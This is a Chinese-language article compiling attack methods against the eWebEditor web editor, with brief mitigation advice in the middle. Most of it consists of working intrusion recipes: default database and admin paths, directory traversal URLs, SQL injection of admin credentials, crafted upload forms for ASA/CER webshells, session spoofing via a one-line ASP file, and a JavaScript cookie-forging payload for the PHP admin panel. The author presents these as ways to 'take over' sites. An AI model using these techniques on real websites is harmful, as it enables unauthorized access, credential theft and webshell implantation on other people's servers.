Ewebeditor 的一些漏洞总结 推荐

  于是像windows一样被黑客们挖掘出很多漏洞,大家莫急,笔者Minghacker总结前人基础,一一道来。

  对于目前asp版本的ewebeditor编辑器漏洞主要分为以下7点:

  默认,遍历目录漏洞,一句话,注入,构造,cookie欺骗,社工(踩脚印入侵),

  NO1.ewebeditor编辑器一般默认数据库路径是db/ewebeditor.mdb

  默认的后台路径是admin_login.asp

  建议最好检测下admin_style.asp文件是否可以直接访问

  举例

  有个细节需要注意:

  有抄袭版的;SouthidcEditor

  数据库SouthidcEditorDatasSouthidcEditor.mdb

  没登陆页面。

  利用方法:PopUp.asp页面传图片小马,nc提交,得shell

  NO2.遍历目录漏洞(具体如下):

  登陆编辑器---上传文件管理---选择样式目录(随便选一个目录)

  得到:

  ewebeditor/admin_uploadfile.asp?id=14

  在id=14后面添加&dir=..

  再加 &dir=http://www.jb51.net/..

  &dir=/.. 看到整个网站文件了

  此漏洞危害大大的,绝对恐怖

  NO3.当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell

  NO4.有的时候爆了数据库找不到后台地址让人发急,其实可以试试查看样式表,有没别人加入的asp、asa后缀样式表,也就是虽说的踩着脚印入侵。

  还有的时候聪明的管理员也就是加“#”不妨社工试试,我可没少占便宜的

  例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdb

  NO5.注入2.1.6的注入就不多说了,如下保存为html文件修改action,直接上传cer马

  

  

  

  

  

  有次无意的入侵使我发现了ewebeditor2.7.0版本的存在注入漏洞

  简单利用就是

  http://site/path/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200

  默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利用nbsi进行猜解,对此进行注入取得账号密码

  NO6.有的时候管理员不让复制样式,但是你又看到有个样式被别人以前入侵修改了存在asa或者之类可以传shell,但是上传插入工具没有,又无法修改怎么办那?也许很多人说应该可以加工具栏,但是我就遇见过不让加的

  这样我们可以利用ewebeditor里的upload.asp文件进行本地构造进行上传具体如下:

  在action下面

  

>

  

  

  

  

  ------------------------------------------------------------------------------------------------------------------------------------------------

   放在action后头

  ,适合用于在ewebeditor后台那个预览那里出来的 比如上传图片那里,有些时候上传页面弹不出来,就可以用upload.asp?action=save&type=ASA&style=test 这个本地来提交,不过这个东西还是要数据库里上传类型有ASA才可以传得上。

  NO.7还有种方式是最近坏客发现的

  利用WebEditor session欺骗漏洞,进入后台:

  漏洞文件:Admin_Private.asp

  漏洞语句:

  <%

  If Session("eWebEditor_User") = "" Then

  Response.Redirect "admin_login.asp"

  Response.End

  End If

  只判断了session,没有判断cookies和路径的验证问题。

  漏洞利用:

  新建一个amxking.asp内容如下:

  <%Session("eWebEditor_User") = "11111111"%>

  访问amxking.asp,再访问后台任何文件,for example:Admin_Default.asp

  面对此种威胁网站管理员应该做好如下的防范措施:

  1、使用了eWebEditor编辑器的网站,应及时修改该编辑器的默认数据库路径和后缀名,建议数据库多方几层目录,防止数据库被黑客非法下载

  2、修改编辑器后台登陆路径和默认的登陆用户名和密码,防止黑客进入后台管理界面

  3、对Upload.asp语句进行修改,防止黑客利用其上传ASP木马从而获得WEB权限

  4、及时对网站服务器IIS配置中的应用程序扩展名映射进行整理,确保其它类型的文件不能在服务器网站上运行

  ewebeditor 5.2 列目录漏洞

  出现漏洞的文件存在于ewebeditor/asp/browse.asp

  ASP/Visual Basic代码

  Function GetList()

  Dim s_List, s_Url

  s_List = ""

  Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName

  'Response.Write sCurrDir

  'On Error Resume Next

  Set oFSO = Server.CreateObject("Scripting.FileSystemObject")

  Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))

  '注意一下sCurrDir变量,这个值等下我们可以用到

  If Err.Number>0 Then

  s_List = ""

  Exit Function

  End If

  If sDir <> "" Then

  If InstrRev(sDir, "/") > 1 Then

  s_Url= Left(sDir, InstrRev(sDir, "/") - 1)

  Else

  s_Url = ""

  End If

  s_List = s_List & "" & _

  "" & _

  ".." & _

  " " & _

  ""

  End If

  'Response.Write sDir&"!"&s_List

  Dim oSubFolder

  For Each oSubFolder In oUploadFolder.SubFolders

  'Response.Write oUploadFolder.SubFolders

  If sDir = "" Then

  s_Url = oSubFolder.Name

  Else

  s_Url = sDir & "/" & oSubFolder.Name

  End If

  s_List = s_List & "" & _

  "" & _

  "" & oSubFolder.Name & "" & _

  " " & _

  ""

  Next

  'Response.Write s_List

  Set oUploadFiles = oUploadFolder.Files

  For Each oUploadFile In oUploadFiles

  'Response.Write oUploadFile.Name

  sFileName = oUploadFile.Name

  If CheckValidExt(sFileName) = True Then

  '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了

  If sDir = "" Then

  s_Url = sContentPath & sFileName

  Else

  s_Url = sContentPath & sDir & "/" & sFileName

  End If

  s_List = s_List & "" & _

  "" & FileName2Pic(sFileName) & "" & _

  "" & sFileName & "" & _

  "" & GetSizeUnit(oUploadFile.size) & "" & _

  ""

  End If

  Next

  Set oUploadFolder = Nothing

  Set oUploadFiles = Nothing

  'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

  If sDir = "" Then

  s_Url = ""

  's_Url = "/"

  Else

  s_Url = "/" & sDir & ""

  's_Url = "/" & sDir & "/"

  End If

  s_List = s_List & ""

  s_List = HTML2JS(s_List)

  'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

  s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"

  GetList = s_List

  End Function

  '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名

  Function CheckValidExt(s_FileName)

  If sAllowExt = "" Then

  CheckValidExt = True

  Exit Function

  End If

  Dim i, aExt, sExt

  sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))

  CheckValidExt = False

  aExt = Split(LCase(sAllowExt), "|")

  For i = 0 To UBound(aExt)

  If aExt(i) = sExt Then

  CheckValidExt = True

  Exit Function

  End If

  Next

  End Function

  '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的

  Sub InitParam()

  sType = UCase(Trim(Request.QueryString("type")))

  sStyleName = Trim(Request.QueryString("style"))

  Dim i, aStyleConfig, bValidStyle

  bValidStyle = False

  For i = 1 To Ubound(aStyle)

  aStyleConfig = Split(aStyle(i), "|||")

  If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then

  bValidStyle = True

  Exit For

  End If

  Next

  If bValidStyle = False Then

  OutScript("alert('Invalid Style.')")

  End If

  sBaseUrl = aStyleConfig(19)

  'nAllowBrowse = CLng(aStyleConfig(43))

  nAllowBrowse = 1

  If nAllowBrowse <> 1 Then

  OutScript("alert('Do not allow browse!')")

  End If

  sUploadDir = aStyleConfig(3)

  If Left(sUploadDir, 1) <> "/" Then

  Select Case sType

  Case "REMOTE"

  sUploadDir = "/" & sUploadDir & "Image/"

  Case "FILE"

  sUploadDir = "/" & sUploadDir & "Other/"

  Case "MEDIA"

  sUploadDir = "/" & sUploadDir & "Media/"

  Case "FLASH"

  sUploadDir = "/" & sUploadDir & "Flash/"

  Case Else

  sUploadDir = "/" & sUploadDir & "Image/"

  End Select

  End If

  'sUploadDir =sUploadDir &"/"

  Select Case sBaseUrl

  Case "0"

  'sContentPath = aStyleConfig(23)

  Select Case sType

  Case "REMOTE"

  sContentPath = "http://www.jb51.net/" & aStyleConfig(3) & "Image/"

  Case "FILE"

  sContentPath = "http://www.jb51.net/" & aStyleConfig(3) & "Other/"

  Case "MEDIA"

  sContentPath = "http://www.jb51.net/" & aStyleConfig(3) & "Media/"

  Case "FLASH"

  sContentPath = "http://www.jb51.net/" & aStyleConfig(3) & "Flash/"

  Case Else

  sContentPath = "http://www.jb51.net/" & aStyleConfig(3) & "Image/"

  End Select

  Case "1"

  sContentPath = RelativePath2RootPath(sUploadDir)

  Case "2"

  sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))

  End Select

  Select Case sType

  Case "REMOTE"

  sAllowExt = aStyleConfig(10)

  Case "FILE"

  sAllowExt = aStyleConfig(6)

  Case "MEDIA"

  sAllowExt = aStyleConfig(9)

  Case "FLASH"

  sAllowExt = aStyleConfig(7)

  Case Else

  sAllowExt = aStyleConfig(8)

  End Select

  sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址

  sDir = Trim(Request("dir")) '得到dir变量

  sDir = Replace(sDir, "", "/") '对dir变量进行过滤

  sDir = Replace(sDir, "http://www.jb51.net/", "")

  sDir = Replace(sDir, "http://www.jb51.net/hack/", "")

  If sDir <> "" Then

  If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then

  sCurrDir = sUploadDir & sDir & "/"

  '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了

  '虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出

  Else

  sDir = ""

  End If

  End If

  End Sub

  嘿嘿,看到这你应该明白了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到目录结构和显示设置文件中允许的文件后缀的文件了..

  利用方法如下

  http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…http://www.jb51.net/hack/http://www.jb51.net/hack//..

  由于st0p测试的时候,上传目录是根目录下的uploadfile,通过上面的地址就可以得到根目录下的所有目录了.

  嘿嘿,如果你发现打开的时候显示的是空白,不要灰心,这就对了,直接查看源代码,看到了吗,里面就有你根目录的目录名字了.

  嘿嘿,他根目录下有个guest目录,我们通过下面的地址可以列出他下面的结构

  http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…http://www.jb51.net/hack/http://www.jb51.net/hack//…http://www.jb51.net/hack/http://www.jb51.net/hack//guest

  然后我们也可以通过

  http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…http://www.jb51.net/hack/http://www.jb51.net/hack//http://www.jb51.net/…http://www.jb51.net/hack/http://www.jb51.net/hack//..

  可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个目录.

  eWebEditorv5.5asp存在session欺骗漏洞!

  记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在!

  代码如下:

  '登录检查

  Function ChkLogin()

  If session("editor_admin")="" Or IsNull(session("editor_admin")) Then

  PhilLogin()

  session.CodePage = session("PreCodePage")

  response.End

  End If

  End Function

  呵呵很明显和以前的版本漏洞一样!

  只是判断了session.

  利用方法:

  新建立个hkok8.asp内容为

  <%Session("editor_admin") = "admin"%>

  然后访问hkok8.asp 最后访问登陆文件.刷新ok进去了...

  要进行这种Session欺骗,必须有三个前提:

  1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内.

  2.必须知道管理页面。

  3.必须知道Session变量以及它的限制条件。

  php版ewebeditor 3.8的漏洞

  php版本后台是调用http://www.jb51.net/ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法:

  1 首先当然要找到登陆后台,默认是http://www.jb51.net/eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车,

  2 然后输入正常情况才能访问的文件http://www.jb51.net/ewebeditor/admin/default.php就可以进后台了

  3 后面的利用和asp一样,新增样式修改上传,就ok了

  测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的)

  aspx的版本http://www.jb51.net/ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell

  jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了

  哈哈,以后只要ewebeditor的后台可以找到的话,就可以通杀了 所以这个漏洞还是比较酷,建议收藏